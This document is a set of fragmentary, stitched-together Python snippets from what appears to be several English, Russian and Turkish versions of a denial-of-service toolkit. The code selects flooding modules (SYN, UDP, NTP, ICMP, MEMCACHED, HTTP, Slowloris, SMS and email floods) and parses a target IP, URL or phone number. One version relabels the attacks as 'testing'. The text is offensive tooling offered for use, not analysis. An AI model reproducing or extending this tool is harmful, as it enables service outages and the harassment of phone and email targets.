def GetMethodByName(method): if method == "SMS": dir = "tools.SMS.main" else: CriticalError( f"Method 'flood' not found in {repr(dir)}. Please use python 3.8", "-")
def GetMethodByName(method): if method == "SMS": dir = "tools.SMS.main" elif method in ("SYN", "UDP", "NTP", "POD", "ICMP", "MEMCACHED"): dir = f"tools.L4.{method.lower()}" elif method in ("HTTP", "SLOWLORIS"): dir = f"tools.L7.{method.lower()}" else: raise SystemExit( f"{Fore.RED}[!] {Fore.MAGENTA}Unknown ddos method {repr(method)} selected..{Fore.RESET}" ) module = __import__(dir, fromlist=['object']) if hasattr(module, "flood"): method = getattr(module, "flood") return method else: CriticalError( f"Method 'flood' not found in {repr(dir)}. Please use python 3.8", '-')
def GetMethodByName(method): if method == "SMS": dir = "tools.SMS.main" elif method == "EMAIL": dir = "tools.EMAIL.main" elif method in ("SYN", "UDP", "NTP", "POD", "ICMP", "MEMCACHED"): dir = f"tools.L4.{method.lower()}" elif method in ("HTTP", "SLOWLORIS"): dir = f"tools.L7.{method.lower()}" else: raise SystemExit( f"{Fore.RED}[!] {Fore.MAGENTA}Неизвестный метод тестирования: {repr(method)} использован. Ошибка. {Fore.RESET}" ) module = __import__(dir, fromlist=["object"]) if hasattr(module, "flood"): method = getattr(module, "flood") return method else: CriticalError(f"Метод не найден. {repr(dir)}. Используйте Python 3.8", "-")
import sys import argparse global domainname global attack # Go to current dir os.chdir(os.path.dirname(os.path.realpath(__file__))) try: from tools.crash import CriticalError import tools.addons.clean import tools.addons.logo import tools.addons.winpcap from tools.method import AttackMethod except ImportError as err: CriticalError("Failed import some modules", err) sys.exit(1) # Parse args parser = argparse.ArgumentParser(description="Denial-of-service ToolKit") parser.add_argument( "--target", type=str, metavar="<IP:PORT, URL, PHONE>", help="Target ip:port, url or phone", ) parser.add_argument( "--method", type=str, metavar="<SMS/EMAIL/NTP/UDP/SYN/ICMP/POD/SLOWLORIS/MEMCACHED/HTTP>", help="Attack method",
# Import modules import os import sys import argparse # Go to current dir os.chdir(os.path.dirname(os.path.realpath(__file__))) try: from tools.crash import CriticalError import tools.addons.clean import tools.addons.logo import tools.addons.winpcap from tools.method import AttackMethod except ImportError as err: CriticalError("Bazı modüller alınamadı", err) sys.exit(1) # Parse args parser = argparse.ArgumentParser(description="Hizmet Reddi Araç Seti") parser.add_argument( "--target", type=str, metavar="<IP:PORT, URL, PHONE>", help="Target ip:port, url or phone", ) parser.add_argument( "--method", type=str, metavar="<SMS/EMAIL/NTP/UDP/SYN/ICMP/POD/SLOWLORIS/MEMCACHED/HTTP>", help="Attack method",
# Импортирование import os import sys import argparse # Переход в директорию os.chdir(os.path.dirname(os.path.realpath(__file__))) try: from tools.crash import CriticalError import tools.addons.clean import tools.addons.logo import tools.addons.winpcap from tools.method import AttackMethod except ImportError as err: CriticalError("Не удалось импортировать некоторые модули.", err) sys.exit(1) # Парс parser = argparse.ArgumentParser(description='М.К.Т. АС-4 "Локарно"') parser.add_argument( "--target", type=str, metavar="<IP:PORT, URL, PHONE>", help="Объект тестирования - IP:порт, URL-адрес или телефон", ) parser.add_argument( "--method", type=str, metavar="<SMS/EMAIL/NTP/UDP/SYN/ICMP/POD/SLOWLORIS/MEMCACHED/HTTP>", help="Метод тестирования",